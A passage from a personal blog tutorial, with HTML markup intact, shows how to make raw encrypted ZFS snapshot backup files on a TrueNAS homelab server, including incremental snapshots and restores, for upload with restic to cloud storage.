 src="https://mtlynch.io/zfs-encrypted-backups/all-parts.jpg" alt="Photo of NAS server parts in retail packaging" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/completed-build.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_ef1cf4b5aba35a8e.jpg 300w, https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_aaed93eab60d1167.jpg 600w, https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_467877c283a68e4a.jpg 800w, https://mtlynch.io/zfs-encrypted-backups/completed-build_hu_4029380e4c4ebee6.jpg 1200w, https://mtlynch.io/zfs-encrypted-backups/completed-build.jpg 2000w'
 src="https://mtlynch.io/zfs-encrypted-backups/completed-build.jpg" alt="Photo of completed server build" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My &lt;a href="https://mtlynch.io/budget-nas/">homelab TrueNAS server&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>One of the neat features of ZFS is that you can make backups of encrypted data while it&amp;rsquo;s still encrypted. The tricky part is that TrueNAS assumes you&amp;rsquo;ll only ever back up to other TrueNAS systems. If you&amp;rsquo;re like me and want to back up your encrypted data to a generic cloud storage provider, you need to do a bit more work. In today&amp;rsquo;s blog post, I&amp;rsquo;ll show you how to do it.&lt;/p>
&lt;h2 id="why-back-up-encrypted-data">Why back up encrypted data?&lt;/h2>
&lt;p>I have some files that I rarely access but still want to keep on an encrypted dataset.&lt;/p>
&lt;p>On my previous Synology NAS, there was no way to back up an encrypted volume. If data was encrypted, it was completely inaccessible to anything until you unlocked it. For most of my data, that&amp;rsquo;s okay, but what about volumes I access infrequently? My nightly backups wouldn&amp;rsquo;t be able to replicate them to my cloud storage.&lt;/p>
&lt;p>TrueNAS is better! You can make full and incremental backups even when the dataset is encrypted and locked. This seemed like a great way to back up infrequently accessed data without having to keep it decrypted.&lt;/p>
&lt;p>I use &lt;a href="https://restic.readthedocs.io/">restic&lt;/a> and &lt;a href="https://github.com/mtlynch/resticpy">resticpy&lt;/a> to back up my data to cloud storage, so I needed a way for restic to access my encrypted ZFS backups. It took a bit of tinkering and manual bash scripting, but I got it working.&lt;/p>
&lt;h2 id="trying-to-back-up-encrypted-datasets-through-truenas-the-wrong-way">Trying to back up encrypted datasets through TrueNAS (the wrong way)&lt;/h2>
&lt;p>To demonstrate what I&amp;rsquo;m trying to do, I created a dataset called &lt;code>diary-entries&lt;/code>.&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 768px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/diary-entries-row.png">
 &lt;img
 
 sizes="(min-width: 768px) 768px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/diary-entries-row_hu_2d2febc21892b362.png 300w, https://mtlynch.io/zfs-encrypted-backups/diary-entries-row_hu_bd7760c3b16f043c.png 600w, https://mtlynch.io/zfs-encrypted-backups/diary-entries-row.png 768w'
 src="https://mtlynch.io/zfs-encrypted-backups/diary-entries-row.png" alt="Screenshot of diary-entries dataset in TrueNAS" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Okay, let&amp;rsquo;s put a file into this dataset:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;I enjoy Taylor Swift, but I don&amp;#39;t want anyone to know&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /mnt/pool1/diary-entries/2022-07-05.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I&amp;rsquo;ll need to create a new dataset to receive the backups called &lt;code>diary-entries-backup&lt;/code>. I&amp;rsquo;ve disabled encryption on this new dataset because I don&amp;rsquo;t need an extra layer of encryption on top of already-encrypted backups:&lt;/p>




















 
 
 







&lt;div class="img" style="max-width: 524px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/diary-backup.png">
 &lt;img
 
 sizes="(min-width: 768px) 524px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/diary-backup_hu_cc3b61ab9cc2eec3.png 300w, https://mtlynch.io/zfs-encrypted-backups/diary-backup.png 524w'
 src="https://mtlynch.io/zfs-encrypted-backups/diary-backup.png" alt="Screenshot of TrueNAS dataset creation screen with encryption disabled" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Now, I&amp;rsquo;m ready to set up a replication task to back up encrypted snapshots of the &lt;code>diary-entries&lt;/code> dataset to the unencrypted &lt;code>diary-entries-backup&lt;/code> dataset. From there, restic can access the &lt;code>diary-entries-backup&lt;/code> dataset and replicate it to cloud storage.&lt;/p>
&lt;p>When I create the replication task, TrueNAS warns me that I&amp;rsquo;m replicating an encrypted dataset. That&amp;rsquo;s fine — it&amp;rsquo;s exactly what I want. I want to take encrypted snapshots and back them up to the cloud while they&amp;rsquo;re still encrypted:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1462px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/replication-warning.png">
 &lt;img
 
 sizes="(min-width: 768px) 1462px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/replication-warning_hu_d309a768853c5665.png 300w, https://mtlynch.io/zfs-encrypted-backups/replication-warning_hu_7400177fbf85a18a.png 600w, https://mtlynch.io/zfs-encrypted-backups/replication-warning_hu_fb0bbb33894c924a.png 800w, https://mtlynch.io/zfs-encrypted-backups/replication-warning_hu_f6d3eb34ae1740fb.png 1200w, https://mtlynch.io/zfs-encrypted-backups/replication-warning.png 1462w'
 src="https://mtlynch.io/zfs-encrypted-backups/replication-warning.png" alt="Warning in TrueNAS: You are replicating the following encrypted datasets: &amp;#39;pool1/diary-entries&amp;#39;. Destination datasets will be locked and can be unlocked with source datasets&amp;#39; encryption key&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I start the replication task, and it&amp;hellip; fails:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1186px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/replication-error.png">
 &lt;img
 
 sizes="(min-width: 768px) 1186px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/replication-error_hu_e652fa3b7f46fcd0.png 300w, https://mtlynch.io/zfs-encrypted-backups/replication-error_hu_234a8295e91cce83.png 600w, https://mtlynch.io/zfs-encrypted-backups/replication-error_hu_9ea4a872bfdc8307.png 800w, https://mtlynch.io/zfs-encrypted-backups/replication-error.png 1186w'
 src="https://mtlynch.io/zfs-encrypted-backups/replication-error.png" alt="Unable to send encrypted dataset &amp;#39;pool1/diary-entries&amp;#39; to existing unencrypted or unrelated dataset &amp;#39;pool1/diary-entries-backup&amp;#39;." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The error is:&lt;/p>
&lt;blockquote>
&lt;p>Unable to send encrypted dataset &amp;lsquo;pool1/diary-entries&amp;rsquo; to existing unencrypted or unrelated dataset &amp;lsquo;pool1/diary-entries-backup&amp;rsquo;.&lt;/p>&lt;/blockquote>
&lt;p>Shucks!&lt;/p>
&lt;p>It won&amp;rsquo;t let me replicate an encrypted dataset to an unencrypted dataset. That seems a little silly because if the snapshot is encrypted and locked, why does it matter if it&amp;rsquo;s sitting on a dataset that&amp;rsquo;s also encrypted?&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: This didn&amp;rsquo;t work because my mental model of ZFS replication was incorrect. I&amp;rsquo;ll reach the correct model later on.
&lt;/div>

&lt;h2 id="using-zfs-through-the-command-line-interface">Using ZFS through the command-line interface&lt;/h2>
&lt;p>TrueNAS is mainly a friendly UI around ZFS. To make things easier, I bypassed TrueNAS and went directly to ZFS&amp;rsquo;s more powerful command-line interface (CLI).&lt;/p>
&lt;p>The &lt;a href="https://openzfs.github.io/openzfs-docs/man/8/zfs-send.8.html">ZFS documentation&lt;/a> includes an example command for replicating a dataset:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zfs send pool/fs@a | zfs receive poolB/received/fs@a
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>@a&lt;/code> represents a snapshot named &lt;code>a&lt;/code>, so I&amp;rsquo;ll take a snapshot called &lt;code>2022-07-05&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zfs snapshot pool1/diary-entries@2022-07-05
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I&amp;rsquo;ll try replicating &lt;code>diary-entries&lt;/code> to &lt;code>diary-entries-backup&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zfs send pool1/diary-entries@2022-07-05 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | zfs receive pool1/diary-entries-backup
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cannot receive new filesystem stream: destination &lt;span style="color:#ed9d13">&amp;#39;pool1/diary-entries-backup&amp;#39;&lt;/span> exists
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>must specify -F to overwrite it
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, so I can&amp;rsquo;t replicate into an existing dataset? Let&amp;rsquo;s just specify a new dataset name &lt;code>diary-entries-backup2&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zfs send pool1/diary-entries@2022-07-05 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | zfs receive pool1/diary-entries-backup
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warning: cannot send &lt;span style="color:#ed9d13">&amp;#39;pool1/diary-entries@2022-07-05&amp;#39;&lt;/span>: dataset key must be loaded
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cannot receive: failed to &lt;span style="color:#24909d">read&lt;/span> from stream
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So it&amp;rsquo;s refusing to replicate unless &lt;code>diary-entries&lt;/code> is decrypted? I thought I could replicate an encrypted dataset&amp;hellip;&lt;/p>
&lt;p>Revisiting the ZFS documentation, I see a &lt;code>--raw&lt;/code> flag:&lt;/p>
&lt;blockquote>
&lt;p>&lt;code>-w, --raw&lt;/code>
For encrypted datasets, send data exactly as it exists on disk.&lt;/p>&lt;/blockquote>
&lt;p>Okay, let me try that:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zfs send --raw pool1/diary-entries@2022-07-05 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | zfs receive pool1/diary-entries-backup2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Success!&lt;/p>
&lt;p>Let me go back to the TrueNAS web UI to see what I created:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 864px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/new-encrypted-dataset.png">
 &lt;img
 
 sizes="(min-width: 768px) 864px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/new-encrypted-dataset_hu_8e9c4463f28c69f4.png 300w, https://mtlynch.io/zfs-encrypted-backups/new-encrypted-dataset_hu_3d182093bacc34bd.png 600w, https://mtlynch.io/zfs-encrypted-backups/new-encrypted-dataset_hu_57e86aace63a6260.png 800w, https://mtlynch.io/zfs-encrypted-backups/new-encrypted-dataset.png 864w'
 src="https://mtlynch.io/zfs-encrypted-backups/new-encrypted-dataset.png" alt="Screenshot of diary-entries-backup2 in TrueNAS, labeled as an encrypted dataset" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Darn, that wasn&amp;rsquo;t what I wanted.&lt;/p>
&lt;p>ZFS created another &lt;em>encrypted&lt;/em> dataset. I want an encrypted backup file on an unencrypted dataset. ZFS didn&amp;rsquo;t seem to offer any way of doing that.&lt;/p>
&lt;h2 id="revelation-i-can-redirect-output-to-a-file">Revelation: I can redirect output to a file&lt;/h2>
&lt;p>Revisiting ZFS&amp;rsquo; replication command, I noticed something:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zfs send --raw pool1/diary-entries@2022-07-05 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | zfs receive pool1/diary-entries-backup2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay so there&amp;rsquo;s a &lt;code>zfs send&lt;/code> command that pipes output to a &lt;code>zfs receive&lt;/code> command. What if instead of piping output to &lt;code>zfs receive&lt;/code>, I just write it to a file?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zfs send --raw pool1/diary-entries@2022-07-05 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /mnt/pool1/diary-entries-backup/snapshot@2022-07-05
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hey, it worked! I created a 24 KB backup file on my unencrypted &lt;code>diary-entries-backup&lt;/code> dataset:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ du -h /mnt/pool1/diary-entries-backup/*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>24K /mnt/pool1/diary-entries-backup/snapshot@2022-07-05
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that I have the backup as a file on an unencrypted dataset, restic can back it up to the cloud like any other file.&lt;/p>
&lt;p>But first, let me test that I can recreate the data in &lt;code>diary-entries&lt;/code> from this backup using the &lt;code>zfs receive&lt;/code> command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zfs receive pool1/diary-entries-backup3 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;lt; /mnt/pool1/diary-entries-backup/snapshot@2022-07-05
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That succeeds and creates a new dataset in my pool:&lt;/p>




















 
 
 







&lt;div class="img" style="max-width: 576px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/dataset3.png">
 &lt;img
 
 sizes="(min-width: 768px) 576px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/dataset3_hu_ddb65b0b360a79c7.png 300w, https://mtlynch.io/zfs-encrypted-backups/dataset3.png 576w'
 src="https://mtlynch.io/zfs-encrypted-backups/dataset3.png" alt="Screenshot of diary-entries-backup3 as an encrypted dataset" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Moment of truth! If I can decrypt &lt;code>diary-entries-backup3&lt;/code> with the same password I used for &lt;code>diary-entries&lt;/code> and it contains the same data, then I&amp;rsquo;ll know that the file &lt;code>diary-entries-backup/snapshot@2022-07-05&lt;/code> is a complete backup of the &lt;code>diary-entries&lt;/code> dataset at snapshot &lt;code>2022-07-05&lt;/code>.&lt;/p>
&lt;p>So, I decrypt &lt;code>diary-entries-backup3&lt;/code> with the same password and check its contents:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat /mnt/pool1/diary-entries-backup3/2022-07-05.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>I enjoy Taylor Swift, but I don’t want anyone to know
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hooray! It worked.&lt;/p>
&lt;p>I can successfully create encrypted backup files of my encrypted datasets without ever unlocking them.&lt;/p>
&lt;h2 id="creating-incremental-backups">Creating incremental backups&lt;/h2>
&lt;p>One of the datasets I plan to back up this way is for video captures of my screencasts. That dataset is currently 12 GB and will likely grow. If I&amp;rsquo;m performing daily backups, I don&amp;rsquo;t want a new 12 GB file every day.&lt;/p>
&lt;p>Fortunately, ZFS supports incremental backups. If you snapshot a dataset on Monday and then again on Tuesday, you don&amp;rsquo;t have to create a full backup file for both Monday and Tuesday. Instead, your Tuesday backup can just be the delta from Monday.&lt;/p>
&lt;p>To demonstrate, I&amp;rsquo;ll add a little more data to my &lt;code>diary-entries&lt;/code> dataset:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;Upon reflection, I&amp;#39;m not ashamed of how much I enjoy You Belong with Me&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /mnt/pool1/diary-entries/2022-07-06.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And now I&amp;rsquo;ll create a new snapshot that includes the latest entry:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zfs snapshot pool1/diary-entries@2022-07-06
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, I&amp;rsquo;ll create an incremental backup relative to the &lt;code>2022-07-05&lt;/code> snapshot using the &lt;code>-i&lt;/code> flag to specify the base snapshot:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zfs send &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --raw &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --verbose &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -i pool1/diary-entries@2022-07-05 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> pool1/diary-entries@2022-07-06 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; /mnt/pool1/diary-entries-backup/snapshot@2022-07-05-to-2022-07-06
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Success! The command created a new incremental backup:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ du -h /mnt/pool1/diary-entries-backup/*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 24K /mnt/pool1/diary-entries-backup/snapshot@2022-07-05
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>6.5K /mnt/pool1/diary-entries-backup/snapshot@2022-07-05-to-2022-07-06
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s a little silly on this demo because my files are tiny anyway, but you can still see that the second snapshot is substantially smaller than the first. That&amp;rsquo;s because it contains only the changes since the &lt;code>2022-07-05&lt;/code> snapshot.&lt;/p>
&lt;p>The test isn&amp;rsquo;t complete until I restore the original data from the backup, so I&amp;rsquo;ll try creating a new dataset using the incremental backup:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Recover from full backup.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs receive pool1/diary-entries-backup4@2022-07-05 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;lt; /mnt/pool1/diary-entries-backup/snapshot@2022-07-05
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Add changes since incremental backup.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs receive pool1/diary-entries-backup4 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;lt; /mnt/pool1/diary-entries-backup/snapshot@2022-07-05-to-2022-07-06
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I recovered it!&lt;/p>




















 
 
 







&lt;div class="img" style="max-width: 561px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/dataset4.png">
 &lt;img
 
 sizes="(min-width: 768px) 561px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/dataset4_hu_39594be850f2588f.png 300w, https://mtlynch.io/zfs-encrypted-backups/dataset4.png 561w'
 src="https://mtlynch.io/zfs-encrypted-backups/dataset4.png" alt="Screenshot of diary-entries-backup3 as an encrypted dataset" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>And both of my files are there:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ tail -n +1 /mnt/pool1/diary-entries-backup4/*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==&amp;gt; /mnt/pool1/diary-entries-backup4/2022-07-05.txt &amp;lt;==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>I enjoy Taylor Swift, but I don&amp;#39;t want anyone to know
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==&amp;gt; /mnt/pool1/diary-entries-backup4/2022-07-06.txt &amp;lt;==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upon reflection, I&amp;#39;m not ashamed of how much I enjoy Blank Space
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Note that I have to first recover from the full backup and then advance it with an incremental backup. If I try to start a recovery with an incremental backup, ZFS will fail with an error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># This isn&amp;#39;t going to work because it&amp;#39;s an incremental backup.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ zfs receive pool1/diary-entries-backup5 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;lt; /mnt/pool1/diary-entries-backup/snapshot@2022-07-05-to-2022-07-06
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cannot receive incremental stream: destination &lt;span style="color:#ed9d13">&amp;#39;pool1/diary-entries-backup5&amp;#39;&lt;/span> does not exist
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="scripting-backups">Scripting backups&lt;/h2>
&lt;p>Now that I understand the mechanics of replicating datasets with ZFS, it&amp;rsquo;s time to create a shell script so that I can automate recurring backup tasks.&lt;/p>
&lt;p>To start, I&amp;rsquo;ll create a file called &lt;code>settings.sh&lt;/code> to define everything that&amp;rsquo;s specific to my system:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">POOL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;mypool&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">BASE_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/mnt/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">POOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/encrypted-backups&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">FULL_SNAPSHOTS_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BASE_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/full-snapshots&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">INCREMENTAL_SNAPSHOTS_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BASE_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/incremental-snapshots&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DATASETS&lt;/span>=()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DATASETS&lt;/span>+=(&lt;span style="color:#ed9d13">&amp;#34;documents&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DATASETS&lt;/span>+=(&lt;span style="color:#ed9d13">&amp;#34;music&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DATASETS&lt;/span>+=(&lt;span style="color:#ed9d13">&amp;#34;emails&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> DATASETS
